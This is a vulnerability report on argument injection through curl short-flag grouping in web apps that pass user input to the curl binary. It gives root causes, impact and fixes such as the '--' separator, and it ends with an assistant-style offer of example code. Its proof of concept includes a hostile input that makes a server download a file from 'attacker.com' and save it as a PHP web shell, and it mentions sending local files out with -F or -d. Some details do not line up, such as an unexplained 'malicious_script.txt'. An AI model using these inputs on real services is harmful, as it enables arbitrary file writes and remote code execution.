Argument Injection via curl Short-Flag Grouping

How it was found

This report details how the curl -os command facilitates an Argument Injection vulnerability in applications that wrap the curl command-line tool. The specific command curl -os /etc/passwd --url http://example.com demonstrates a subtle but dangerous behavior. Because -s (silent) follows -o (output), curl expects the very next string to be the filename.In this scenario:The -o flag consumes the next argument (/etc/passwd).The -s flag tells curl to suppress the progress meter and error messages.The --url flag specifies the source of the data.This effectively turns a "downloader" into a "file overwriter." Root Cause Analysis The root cause is insufficient input validation and the unsafe use of command-line wrappers.Flag Grouping: Like most Unix-style utilities, curl allows "short-flag grouping." When a user inputs -os, curl interprets this as two separate flags: -o (output to a file) and -s (silent mode).Missing Delimiters: If an application executes a command like curl $USER_INPUT, it assumes the input will be a URL. However, if the input starts with a dash (-), curl treats it as a command-line argument rather than a string.Shell Interpretation: Many developers use functions like os.system() or exec() which pass a raw string to the system shell, allowing the shell to parse the attacker's injected flags as if they were part of the original command structure. 4. Proof of Concept (PoC)Scenario: A web application allows a user to "check if a URL is alive" by running a backend command: curl [USER_URL].

5.Steps to Reproduce:

Attacker Input: 1-Instead of a URL, the attacker enters: -os /var/www/html/shell.php --url http://attacker.com 2- Backend Execution: The server executes the concatenated string:curl -os /var/www/html/shell.php --url http://attacker.com Result: curl silently downloads the malicious_script.txt and saves it as shell.php in the web 3-rootExploitation: The attacker navigates to http://victim.com to execute their code.

Impact

Summary:

The impact of this vulnerability is typically categorized as High to Critical, depending on the environment:Arbitrary File Write: An attacker can use the -o (or --output) flag to write the contents of a URL to any location the application has permission to access.System Defacement/DDoS: By overwriting .html or .js files, an attacker can deface a website.Remote Code Execution (RCE): By overwriting a .sh script, a crontab, or a .php file in a web directory, an attacker can execute arbitrary code on the server.Data Exfiltration: Using the -F (form) or -d (data) flags, an attacker could redirect sensitive local files to their own remote server 5. Remediation RecommendationsPrimary Fix: Use a library (e.g., libcurl for C, requests for Python) instead of calling the system's curl binary.Argument Separation: If the CLI must be used, use the -- separator to tell curl that all following strings are URLs and not flags:Safe: curl -- [USER_INPUT]Sanitization: Disallow any input that begins with a hyphen (-) or contains shell metacharacters (;, &, |).Would you like a Python or Node.js code example showing the "safe" vs. "unsafe" way to handle these commands?